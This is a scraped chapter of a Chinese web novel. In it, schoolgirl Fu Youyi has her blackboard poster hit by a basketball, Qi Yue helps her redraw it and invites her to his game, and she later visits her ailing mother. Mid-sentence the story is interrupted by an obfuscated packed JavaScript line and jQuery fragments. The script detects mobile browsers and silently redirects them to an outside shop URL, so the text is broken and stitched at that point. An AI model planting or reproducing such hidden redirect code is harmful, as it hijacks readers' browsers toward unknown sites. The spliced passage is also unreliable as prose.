傅宥一闻言猛的抬起头来,但最终还是面无表情的答应了,“知道了。”
听到她答应,傅历德就满意的上楼去了,傅宥一也终于得以逃脱回房间。
她心里有一瞬间的讨厌,但很快就被压下去了,毕竟自己这个父亲是什么样的人物,这么多年她再清楚不过了,傅宥一瘫在了床上,四肢呈“大”字型,漫无边际的想着,她翻了个身,脑袋正好硌在了一个硬物上,伸手一摸,是手机,傅宥一这才想起来好像还有谁的消息没有回。
傅宥一爬起来找出充电器充电,可能是电池亏空了一两日,长按了许久才有动静,开机以后,手机嗡嗡响个不停,点开以后,除了祁钺发来的消息,还有就是夏潇潇十几条的搞笑视频的分享。
她点开祁钺的头像,消息很简短:明天下午三点,体育馆,来看我打球吧。
没有多余的解释,也没有问她来不来,像是笃定她会答应似的。
傅宥一抱着手机,有点纠结,因为父亲的话,她不知道还要不要再跟祁钺打交道,匆匆回复道:篮球赛就不去了,谢谢你的邀请。
消息发出去后,屏幕安静了很久,傅宥一把手机扔到一边,翻了个身,把脸埋进枕头里,好在手机没有再响起,她也迷迷糊糊的睡过去了。
一大早上第一节课的时候,学校要求安排一部分学生去画室外的黑板报,说是迎检,傅宥一被分到了靠操场那一侧的长黑板,老师按学号点的人,她正好在列,一下课她就拎着马扎和粉笔盒去了,站在那面灰扑扑的长黑板前面,一笔一划地勾着边框。
上午十点多,操场那头传来篮球砸地的闷响,傅宥一没抬头,但余光里瞥见几个男生抱着球过来了,大概是校队的在训练,她往旁边挪了挪,继续画她的向日葵花边。
一声尖锐的哨响后,篮球在场上弹了几下,忽然失控地朝她这边飞过来,等她听见风声抬头,但已经来不及,球“砰——”地砸在她刚画好的黑板报正中央,这篮球砸的力道和方向都刚刚好,傅宥一的头发丝都没碰到,但黑板被砸的狂震,整块向日葵被蹭出一道长长的弧线,红红黄黄糊成一片。
傅宥一站在原地,手里还捏着粉笔,看着那面惨不忍睹的黑板发呆,她深呼吸了一下,还是没忍住,手里的粉笔被她“啪”一声,捏断了。
“哎呦……不好意思,不好意思……”
傅宥一回过头,正看到汪邈从不远的球场跑出来,她真的很想把粉笔头扔到汪邈的头上,再加上这两天家里乱乌七八糟的事本就让她压抑着心情,越想越生气,生气更上头,弯腰捡起篮球就砸了回去。
汪邈可能是察觉到了她的想法,瞪大了眼睛连连摆手,身形极为迅速的往旁边让了几步,露出后面的祁钺来,所以带着傅宥一怒火的篮球就砸在了祁钺的肩膀上。
祁钺一步未退,接下了这一球。周围其他路过的同学都倒吸一口凉气。
旁边的汪邈倒是毫不客气的一直指着祁钺,意思他才是幕后黑手,又指了指自己,拼命摆手。
傅宥一觉得自己像一条恶龙,两眼冒火,鼻孔喷气,篮球砸到祁钺的肩膀后掉下来被他接住,看着两眼喷火的傅宥一,祁钺眼里还浮上一丝笑意,但很快他就调整了表情,面带愧疚的看向傅宥一,“咳,真是太抱歉了,是我投篮的时候失了准头,没想到这么巧,太抱歉了。”
他的道歉快速又流畅,还没等傅宥一反应过来,便将手里的篮球塞给了汪邈,还将汪邈往球场的方向推了推,同时示意其他人也回去继续打球,而自己则走了过来,“为了补偿你,我帮你画吧。”
傅宥一没说话,蹲下去捡掉在地上的粉笔头,她还记得父亲昨天的话,对着祁钺还有一些迟疑。
祁钺则完全没有在意傅宥一的迟疑,他跟着蹲下来,把滚远的几根拢到一起,然后站起来,对着黑板端详了片刻,抬手将砸坏的地方擦掉,重新勾勒起来,他画得意外地熟练,线条利落,几笔就把那朵向日葵的轮廓救了回来。
傅宥一站在旁边看着,有点意外,同时想起来自己拿篮球狠狠砸了祁钺,她悄悄抬眼看了看他的脸色,没有不开心,反而还哼着一首小曲儿,一幅心情不错的样子。
祁钺这一脸高兴的表情,傅宥一简直怀疑他是不是故意趁打篮球的时候砸了自己的黑板报,为了报复自己让他崴了脚又写检讨,还拒绝了去看篮球赛。
祁钺像是听到了什么,转过头来,少年清澈的眼睛里藏着笑意,“怎么可能。”
她这才反应过来自己把想法说了出来,赶紧捂住了嘴巴,祁钺将她的手拿了下来,“手上都是粉笔灰,别摸嘴巴。”
傅宥一赶紧用手背抹了抹嘴,一是怕粉笔灰真的弄到脸上,在学校顶着一脸粉笔灰招摇过市一整天招人笑话,二是怕吃到嘴里不干净。
祁钺又说道:“怎么能是故意的呢?再说了,你不是已经把医药费补偿给我了么?”
傅宥一眯了眯眼睛,她其实不怎么相信二十块钱可以覆盖祁钺的医药费。
祁钺完全无视她怀疑的眼神,画的很是尽心尽力,没想到两人还挺有默契,分工合作,结束的很快。
汪邈打完球路过这里,停下来感叹,“嚯,画的挺好啊,祁钺,没想到你还会这一手?傅宥一你手艺也不赖啊。”
他这一感叹,其余打球的同学都围过来看,纷纷夸奖,祁钺安心接受了所有的赞美,傅宥一完成了任务,也很满意。
等众人纷纷散去后,祁钺走到傅宥一身边,将几根粉笔投进盒内,“你看,我真的不是故意的,如果我是故意的,我就不会再帮你画好了。”
傅宥一想了想,觉得他说的有点道理,再加上还用篮球打了他的肩膀,心里的愧疚又冒出了头。
祁钺怎么会注意不到她的表情变化,他微微扯了一下唇角,趁机又跟了一句,“你说是不是?”
傅宥一低
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965199|214470||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头道:“是……”
祁钺趁机卖惨,“所以你刚才那样说真让我伤心。”
傅宥一头一回见这样的祁钺,适当的示弱掩盖了祁钺这张脸的攻击性,漂亮又无辜。
“抱歉……”
祁钺点点头,“嗯,那你是不是得补偿我,刚才那个篮球打的疼死我了。”
“是,非常抱歉……”
祁钺从兜里掏出一个手环递给她,“来看我的篮球比赛吧。”
“好……”
教室里,老师在讲台上点名表扬了傅宥一的黑板报,完成的快速又漂亮。傅宥一在座位上低着头看着手里多出来的手环,叹了一口气,自己就这么收下了。
老师走了以后,夏潇潇回过头想聊天,却发现傅宥一正拿着一个手环发呆,“这是什么?”
傅宥一拿着手环,“祁钺有篮球赛,邀请我去观赛。”
夏潇潇眨眨眼,道:“那就去呗,看看他的水平。”
傅宥一拖着脸,试探道:“那你和我一起去?”
夏潇潇想了想,爽快道:“可以。”
傅宥一两手一拍,眉目都舒展了,“OK!”
下课以后傅宥一便给祁钺发去了消息,询问是否可以带上夏潇潇一起,祁钺表示当然可以,顺便给傅宥一发去了场馆的位置和比赛的时间。
由于比赛的时间是周日,所以周六傅宥一依旧是去疗养院,平时在学校还好,但一见到母亲,傅宥一便不可抑制的想起傅历德和淑雅在客厅亲密的事,但她还是努力收拾好表情,毕竟她不想在母亲面前表现出不好的样子。
但母亲总是最了解自己的孩子,看出来傅宥一今天心不在焉,“佑佑是累了吗?”
傅宥一这才发现自己已经走神很久了,“没……”
“累了就去睡会吧。”母亲说着指了指里屋,“里面有张床。”
傅宥一沉默了一会儿,答应了,她躺在里屋的床上,辗转反侧,纠结要不要告诉母亲父亲年轻的情人搬进了傅家老宅,但想想母亲的病,她又担心母亲因为此事受刺激,最终还是决定先不说了,就在这胡思乱想中,傅宥一睡着了。
等她再次醒来的时候已经是黄昏了,傅宥一不知道父亲会不会突然回去,毕竟现在老宅里有他的情人,应该会惦念一些,想到这里傅宥一赶紧起身准备向母亲告别。
她出去的时候,母亲正坐在藤椅里钩织东西,“你醒了。”
“嗯……”
傅宥一见此温馨的一幕有些不想走,但她现在能做主的事情太少了,她的心智被迫成熟,但羽翼尚未丰满,清晰的明白自己现在是无力改变现状的。
傅宥一走之前和母亲深深拥抱了一下,母亲身上的香味永远让人安心,但手腕上的疤痕也永远让人心惊。
“再见,妈妈,等我下次来。”
母亲在傅宥一的侧脸上亲了一下,“嗯,回去的路上注意安全。”